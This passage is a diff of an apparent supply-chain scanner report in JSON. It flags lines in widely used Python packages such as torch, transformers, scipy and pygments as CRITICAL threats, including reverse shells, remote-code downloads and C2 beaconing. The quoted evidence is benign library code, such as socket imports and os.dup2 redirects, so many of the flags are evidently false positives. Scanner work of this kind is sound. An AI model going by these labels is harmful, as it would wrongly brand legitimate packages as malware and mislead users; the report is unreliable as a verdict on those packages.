"8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514" + "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")" }, { "package": "pyarrow", "file": "pyarrow/tests/test_extension_type.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',\nL1351: 'build_ext', '--inplace'],\nL1352: env=subprocess_env)", - "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5" + "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py'," }, { "package": "pyarrow", "file": "pyarrow/tests/test_flight.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675: capture_output=True)", - "evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317" + "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env," }, { "package": "pyarrow", "file": "pyarrow/tests/test_orc.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00", - "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c" + "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent'" }, { "package": "pyarrow", "file": "pyarrow/tests/util.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7", - "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85" + "evidence": "L30: import socket" }, { "package": "pyarrow", "file": "pyarrow/util.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response: | L243: with requests.get(url) as response:", - "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e" + "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response:" }, { "package": "pygments", "file": "pygments/formatters/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L103: exec(f.read(), custom_namespace)", - "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" + "evidence": "L103: exec(f.read(), custom_namespace)" }, { "package": "pygments", "file": "pygments/lexers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L154: exec(f.read(), custom_namespace)", - "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" + "evidence": "L154: exec(f.read(), custom_namespace)" }, { "package": "pygments", "file": "pygments/lexers/_mysql_builtins.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L792: 'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')", - "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114" + "evidence": "FS: L792: 'history',\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')" }, { "package": "pygments", "file": "pygments/lexers/_php_builtins.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve", - "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582" + "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve" }, { "package": "pyperclip", "file": "pyperclip/__init__.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name],\nL81: stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100: p = subprocess.Popen(['pbcopy', 'w'],\nL101: stdin=subprocess.PIPE, close_fds=True) | L105: p = subprocess.Popen(['pbpaste', 'r'],\nL106: stdout=subprocess.PIPE, close_fds=True) | L167: p = subprocess.Popen(['xclip', '-selection', selection],\nL168: stdin=subprocess.PIPE, close_fds=True) | L175: p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176: stdout=subprocess.PIPE,\nL177: stderr=subprocess.PIPE,\nL178: close_fds=True) | L195: p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196: stdin=subprocess.PIPE, close_fds=True) | L203: p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204: stdout=subprocess.PIPE, close_fds=True) | L221: subprocess.check_call(args, close_fds=True) | L224: p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231: p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241: p = subprocess.Popen(\nL242: ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243: text.encode(ENCODING)],\nL244: stdin=subprocess.PIPE, close_fds=True) | L248: p = subprocess.Popen(\nL249: ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250: stdout=subprocess.PIPE, close_fds=True) | L469: p = subprocess.Popen(['clip.exe'],\nL470: stdin=subprocess.PIPE, close_fds=True) | L477: p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478: stdout=subprocess.PIPE,\nL479: stderr=subprocess.PIPE,\nL480: close_fds=True)", - "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f" + "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name], | L100: p = subprocess.Popen(['pbcopy', 'w'], | L105: p = subprocess.Popen(['pbpaste', 'r']," }, { "package": "python-dateutil", "file": "dateutil/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: return importlib.import_module(\".\" + name, __name__)", - "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + "evidence": "L16: return importlib.import_module(\".\" + name, __name__)" }, { "package": "rich", "file": "rich/ansi.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L229: pty.spawn(sys.argv[1:], read)", - "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4" + "evidence": "L229: pty.spawn(sys.argv[1:], read)" }, { "package": "rich", "file": "rich/console.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())", - "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" + "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())" }, { "package": "rich-rst", "file": "rich_rst/_vendor/docutils/readers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)", - "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073" + "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)" }, { "package": "rich-rst", "file": "rich_rst/_vendor/docutils/writers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)", - "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106" + "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)" }, { "package": "scikit-learn", "file": "sklearn/datasets/_openml.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L100: while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594", - "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193" - }, - { - "package": "scikit-learn", - "file": "sklearn/datasets/_openml.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L100: while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b", - "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe" + "evidence": "L100: while True:" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/dask/array/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")", - "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" + "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" }, { "package": "scikit-learn", "file": "sklearn/svm/tests/test_svm.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L980: os.dup2(os.pipe()[1], 1) | L987: os.dup2(stdout, 1)", - "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653" + "evidence": "L1040: os.dup2(os.pipe()[1], 1) | L1047: os.dup2(stdout, 1)" + }, + { + "package": "scipy", + "file": "scipy/_lib/array_api_compat/cupy/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" + }, + { + "package": "scipy", + "file": "scipy/_lib/array_api_compat/dask/array/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" + }, + { + "package": "scipy", + "file": "scipy/_lib/array_api_compat/numpy/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" + }, + { + "package": "scipy", + "file": "scipy/_lib/array_api_compat/torch/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/dask/array/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")", - "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" + "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')", - "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" }, { "package": "sentencepiece", "file": "sentencepiece/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", - "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc" - }, - { - "package": "sentencepiece", - "file": "sentencepiece/__init__.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L772: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L777: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", - "evidence_hash": "65b5a11cce128fe09b3f238c01bed7c883d1740d7d46d659118f67940f6c17dc" + "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)" }, { "package": "setuptools", "file": "distutils-precedence.pth", "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", "severity": "CRITICAL", - "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();", - "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16" + "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();" }, { "package": "setuptools", "file": "setuptools/_distutils/tests/test_build_ext.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9", - "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7" + "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so')" }, { "package": "setuptools", "file": "setuptools/_vendor/jaraco/context/__init__.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)", - "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" + "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)" }, { "package": "sympy", "file": "sympy/external/importtools.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L154: __import__(module + '.' + submod)", - "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b" + "evidence": "L154: __import__(module + '.' + submod)" }, { "package": "tiktoken", "file": "tiktoken/load.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)", - "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d" + "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)" }, { "package": "torch", "file": "functorch/dim/magic_trace.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e", - "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023" + "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\"" }, { "package": "torch", "file": "torch/_inductor/codecache.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run(\nL2693: cmd.split(), capture_output=True, text=True, check=True\nL2694: ) | L2995: cmd_output = subprocess.run(\nL2996: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997: ) | L3707: out = subprocess.check_output(\nL3708: [\"ldd\", os.path.join(search, file)]\nL3709: ) | L3791: jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876: subprocess.check_call(\nL3877: shlex.split(halide_cmd_gen.get_command_line())\nL3878: ) | L4336: subprocess.check_output(\nL4337: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338: ) | L4591: output = subprocess.check_output(\nL4592: cmd_parts,\nL4593: stderr=subprocess.STDOUT,\nL4594: text=True,\nL4595: env=os.environ,\nL4596: )", - "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b" - }, - { - "package": "torch", - "file": "torch/_inductor/codecache.py", - "check": "base64 decode + subprocess execution (staged payload)", - "severity": "CRITICAL", - "evidence": "Base64: L1727: content = base64.b64decode(data)\nSubprocess: L3270: subprocess.run(\nL3271: cmd, capture_output=True, text=True, check=True\nL3272: ) | L3583: cmd_output = subprocess.run(\nL3584: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL3585: ) | L4338: out = subprocess.check_output(\nL4339: [\"ldd\", os.path.join(search, file)]\nL4340: ) | L4422: jobs.append(functools.partial(subprocess.check_call, cmd)) | L4507: subprocess.check_call(\nL4508: shlex.split(halide_cmd_gen.get_command_line())\nL4509: ) | L4992: subprocess.check_output(\nL4993: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4994: ) | L5247: output = subprocess.check_output(\nL5248: cmd_parts,\nL5249: stderr=subprocess.STDOUT,\nL5250: text=True,\nL5251: env=os.environ,\nL5252: )", - "evidence_hash": "87f77b5f51cb84fe9950fdeeb90fe8710e1b863100e90b5e2cfb228a725bee06" + "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run( | L2995: cmd_output = subprocess.run( | L3707: out = subprocess.check_output(" }, { "package": "torch", "file": "torch/ao/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L30: return importlib.import_module(\".\" + name, __name__)", - "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + "evidence": "L30: return importlib.import_module(\".\" + name, __name__)" }, { "package": "torch", "file": "torch/ao/nn/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L34: return importlib.import_module(\".\" + name, __name__)", - "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + "evidence": "L34: return importlib.import_module(\".\" + name, __name__)" }, { "package": "torch", "file": "torch/ao/nn/intrinsic/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L40: return importlib.import_module(\".\" + name, __name__)", - "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + "evidence": "L40: return importlib.import_module(\".\" + name, __name__)" }, { "package": "torch", "file": "torch/cuda/_memory_viz.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L74: if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(\nL102: \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103: f.name,\nL104: )", - "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85" + "evidence": "FS: L74: if \"history\" in b:\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(" }, { "package": "torch", "file": "torch/distributed/elastic/multiprocessing/redirects.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L218: os.dup2(dst.fileno(), std_fd)", - "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f" + "evidence": "L218: os.dup2(dst.fileno(), std_fd)" }, { "package": "torch", "file": "torch/hub.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r: | L749: with urlopen(req) as u:", - "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704" + "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r:" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L4900: env = os.environ.copy()\nNetwork: L4962: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4980: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:", - "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386" + "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3", - "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53" - }, - { - "package": "torch", - "file": "torch/testing/_internal/common_utils.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L32: import socket sha256:ba439cbf568b194872f1d974c02b0487e51f677b67e379400522d0992600bd2d", - "evidence_hash": "88e98b227573997f86eedea8e885a407b0dd549d46d4a3f0b840ec5aafe66865" + "evidence": "L32: import socket" }, { "package": "torchvision", "file": "torchvision/datasets/utils.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63: with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:", - "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080" + "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as r" }, { "package": "traitlets", "file": "traitlets/config/loader.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)", - "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470" + "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)" }, { "package": "transformers", "file": "transformers/integrations/integration_utils.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L2125: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", - "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca" + "evidence": "FS: L2057: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \"\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: w" }, { "package": "transformers", "file": "transformers/integrations/integration_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L2512: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", - "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb" + "evidence": "Env: L2444: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: with urllib.request.urlopen(req, timeout=5, c" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L1577: while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b", - "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9" - }, - { - "package": "transformers", - "file": "transformers/testing_utils.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L1623: while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a", - "evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049" - }, - { - "package": "transformers", - "file": "transformers/testing_utils.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L1699: while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65", - "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15" + "evidence": "L1577: while True:" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L288: value = os.environ[key] | L304: value = os.environ[key] | L2165: env = os.environ.copy() | L2287: for k in list(os.environ.keys()):\nNetwork: L2597: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:", - "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4" + "evidence": "Env: L252: value = os.environ[key] | L268: value = os.environ[key] | L2043: env = os.environ.copy()\nNetwork: L2475: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L2473: import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc", - "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736" + "evidence": 